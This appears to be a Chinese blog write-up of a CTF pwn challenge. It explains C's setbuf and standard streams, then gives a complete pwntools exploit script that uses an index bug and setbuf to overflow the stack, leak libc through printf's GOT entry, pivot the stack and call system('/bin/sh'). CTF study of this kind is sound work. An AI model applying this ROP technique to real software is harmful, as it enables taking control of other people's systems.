CTF PWN setbuf 的利用

要说 setbuf 之前  要好好说一下     stdin stdout  stderr    是stdio库中的文件流

其实 看名字都能看出来这是干啥的

stdin 是 标准输入  在文件标识符是 0

stdout 是 标准输出  在文件标识符是 1

stderr  是标准错误输出  在文件标识符是 2

其实 可以简单的理解成  stdin 是输入流  等待着键盘输入  stdout 是输出流   就是输出到 终端     stdout 和 stderr  的默认设备就是 屏幕   然后这两组的差别在 输出和 错误输出,

然后 知道了大概我们 来看一下 setbuf 这里用到了 百度百科的一个 setbuf的demo

#include <stdio.h>
char outbuf[BUFSIZ];//必须是BUFSIZ,否则存在缓冲溢出可能
int main(void)
{
/* 将outbuf与stdout输出流相连接 */
setbuf(stdout,outbuf);
/* 向stdout中放入一些字符串 */
puts("This is a test of buffered output.");//体现stdout的行缓冲性质
fprintf(stdout,"hello world.");
puts("[*] outbuf");
/*刷新流*/
fflush(stdout);
/* 以下是outbuf中的内容 */
//puts("[*] outbuf");
puts(outbuf);
return 0;
}

然后一开始我想加一个提示  即使 [*]的 那一行  然后在  刷新流前后 发现了如下的输出

发现了 一特点   把我们输出的东西全部给放进了 outbuf里面  然后

如果 刷新流 后 在输出的话 会覆盖以前的 输出信息  并不会往下记录了 

同理可以应用到其它的文件标识符

可以看出 setbuf 就是 把 文件流 和 我们缓冲区对应起来

其实pwn 题里面一般都会有这个东西 (这是没有怎么注意  这样写是标准一些的)

然后我找到了一个          知道创宇404实验室     的一篇文章

然后记录一下 这样的题目的做法

题目好像是国外code blue 2017 ctf上的一道题

然后先看一下题目的 防护

然后看一下

注意此时的setbuf,,

然后具体看一下题目

然后这里 有一个漏洞点

这里的v3 是int  那么 我们 就可以通过这个漏洞点去 运行其它函数 这里 我们通过他来利用他 运行setbuf 函数

然后我们 再看一些其它的东西

这里有个 函数 两个参数 一个是 buf 地址 一个是长度

然后  里面的主要函数是

fread  嗯 这就可以 实现了输入到 bss  这里可以直接构造两个rop 直接用,

利用思路就是

先用 上面的漏洞  使用 setbuf  然后 就是调用 setbuf(fd,buf1)

然后 再用fwrite(fd, 1u, buf, len)  可以通过这个函数直接写buf1  那么  又因为  这里的 数据 是在栈上 

所以可以 直接栈溢出。 然后栈转移一把梭就可以了

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = "debug"

gadget1 = 0x08048dab   # pop ebp ; ret
gadget2 = 0x080485f8   # leave ; ret
gadget3 = 0x08048495   # pop ebx ; ret
gadget4 = 0x08048daa   # pop edi ; pop ebp ; ret
gadget5 = 0x08048da9   # pop esi ; pop edi ; pop ebp ; ret
one_gadget_sh = 0x56ff5
read_buf = 0x080486D9
stdin_bss = 0x804B060
bss_buf = 0x804b700

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc


def add(contents):
	io.readuntil("> ")
	io.sendline("1")
	io.readuntil("contents: ")
	io.sendline(contents)

def edit(index, offset):
	io.readuntil("> ")
	io.sendline("3")
	io.readuntil("ID (0-4): ")
	io.sendline(str(index))
	io.readuntil("> ")
	io.sendline(str(offset))

def quit():
	io.readuntil("> ")
	io.sendline("4")

if __name__ =="__main__":
	rop1 = 'a'*0xd
	rop1 += p32(elf.plt['printf'])+p32(gadget3)+p32(elf.got['printf'])
	rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100, stdin)
	rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf)

	add(rop1)
	add('a'*255)
	add('b'*255)
	add('c'*255)
	add('d'*255)

	edit(4,-15)
	edit(1,0)
	edit(0,0)

	#gdb.attach(io)
	#pause()
	quit()

	io.readuntil(":)\n")
	printf_got = u32(io.read(4))
	log.success("printf_got "+hex(printf_got))
	# print hex(printf_got)
	system_libc = libc.symbols["system"]
	printf_libc = libc.symbols["printf"]
	binsh_libc = libc.search("/bin/sh").next()
	system_add = printf_got - printf_libc + system_libc
	binsh_add =  printf_got - printf_libc + binsh_libc
	rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add)
	io.sendline(rop2)
	io.interactive()

参考链接

https://paper.seebug.org/450/

https://baike.baidu.com/item/setbuf/7318790?fr=aladdin

发布了313 篇原创文章 · 获赞 44 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_41071646/article/details/98941046